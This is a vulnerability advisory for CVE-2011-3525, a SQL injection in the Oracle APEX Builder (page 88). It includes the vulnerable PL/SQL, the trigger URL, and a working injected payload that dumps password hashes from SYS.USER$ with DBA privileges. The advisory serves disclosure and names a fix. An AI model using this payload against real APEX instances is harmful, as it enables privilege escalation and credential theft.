
Oracle Application Express (Apex)
Vulnerability Information CVE-2011-3525

Overview Unspecified vulnerability in the Application Express component in Oracle Database 
Server 3.2 and 4.0 allows remote authenticated users to affect confidentiality, integrity, 
and availability, related to APEX developer user.

CVSS v2 Base Score 6.5

Vendor Information http://www.oracle.com/technetwork/topics/security/cpuoct2011-330135.html

Vender Release Date October 20111

Vendor Resolution Update Application Express to version 4.1 or above

Discovery ApexSec - http://www.recx.co  .uk/apexsec  

Recx provide consultancy and static-analysis for Oracle Application Express (Apex) 
applications. Our ApexSec product can rapidly assess an Apex application for common 
critical security flaws such as SQL Injection and Cross-Site Scripting.

Our  ApexSec  product  was  used  against  the  Oracle  Application  Express  “Builder” 
(4000) application; this application is the web interface used by developers to build 
their own Apex applications. A SQL Injection vulnerability was discovered that could 
allow an Apex developer to gain DBA privileges over the underlying database.

The attack is only possible once authenticated to the builder, although it can be used 
by  either  level  of  user  (administrator  or  developer)  for  any  workspace  within  the 
instance.  The  issue  is  therefore  more  severe  when  untrusted  parties  are  able  to 
authenticate to the Apex builder, for example in third-party hosting environments, or 
when developer credentials are compromised.

The vulnerable PL/SQL represents a function body on page 88 of application 4000:

if :P88_TABLE in (
  'WWV_FLOW_PAGE_PLUGS',
  'WWV_FLOW_TEMPLATES',
  'WWV_FLOW_PAGE_PLUG_TEMPLATES',
  'WWV_FLOW_STEP_PROCESSING') 
  and
  :P88_COLUMN in (
  'PLUG_SOURCE',
  'HEADER_TEMPLATE',
  'BOX',
  'FOOTER_TEMPLATE',
  'TEMPLATE',
  'PROCESS_SQL_CLOB'
  )
then
for c1 in (select &P88_COLUMN. thevalue
  from &P88_TABLE.
 where id = :P88_ID
 and security_group_id = wwv_flow_security.g_security_group_id) loop
 return c1.thevalue;
end loop;
else
return null;
end if;

 

The use of unprotected substitution variables (P88_COLUMN and P88_TABLE) leads to 
a  SQL Injection  condition  within  the  function  body.  To  trigger  the  condition,  once 
authenticated to the builder, navigate to the following URL (replacing  xxx with your 
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Apex session identifier):

f?p=4000:88:xxx::::P88_COLUMN,P88_TABLE:INJECT_HERE,AND_INJECT_HERE

Clicking the “Set” button then causes Oracle Apex to display the following error:

While the vulnerable function body has an IF statement checking the values of the two 
items, we can simply close down the statement by terminating the LOOP and using END 
IF as long as the remainder of the block remains syntactically correct.

To demonstrate the impact  of  this vulnerability the following sample exploit  can be 
used. The injected PL/SQL operates as DBA and as an example the code gathers 
account passwords from the SYS.USER$ table.

Value for P88_COLUMN:

PLUG_SOURCE from WWV_FLOW_PAGE_PLUGS) loop htp.p('x');end loop;end 
if;for c1 in (select name, password, spare4 from sys.user$ where 

password is not null) loop htp.p('<br>' || c1.name || ' - ' || 
c1.password || ' - ' || c1.spare4);end loop;if 0=1 then for c1 in 

(select PLUG_SOURCE

Value for P88_TABLE:

WWV_FLOW_PAGE_PLUGS

The  resulting  PL/SQL block  now  outputs  each  row  of  the  table  directly  into  the 
response using the HTP.P procedure:
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if :P88_TABLE in (
  'WWV_FLOW_PAGE_PLUGS',
  'WWV_FLOW_TEMPLATES',
  'WWV_FLOW_PAGE_PLUG_TEMPLATES',
  'WWV_FLOW_STEP_PROCESSING') 
  and
  :P88_COLUMN in (
  'PLUG_SOURCE',
  'HEADER_TEMPLATE',
  'BOX',
  'FOOTER_TEMPLATE',
  'TEMPLATE',
  'PROCESS_SQL_CLOB'
  )
then
for c1 in (select PLUG_SOURCE from WWV_FLOW_PAGE_PLUGS) 
 loop htp.p('x');
 end loop;
end if;
for c1 in (select name, password, spare4 from sys.user$ where password 
is not null) 
loop 
 htp.p('<br>' || c1.name || ' - ' || c1.password || ' - ' || 
c1.spare4);
end loop;
if 0=1 then 
for c1 in (select PLUG_SOURCE thevalue
  from WWV_FLOW_PAGE_PLUGS
 where id = :P88_ID
 and security_group_id = wwv_flow_security.g_security_group_id) loop
 return c1.thevalue;
end loop;
else
return null;
end if;

The password data is then displayed into the browser:
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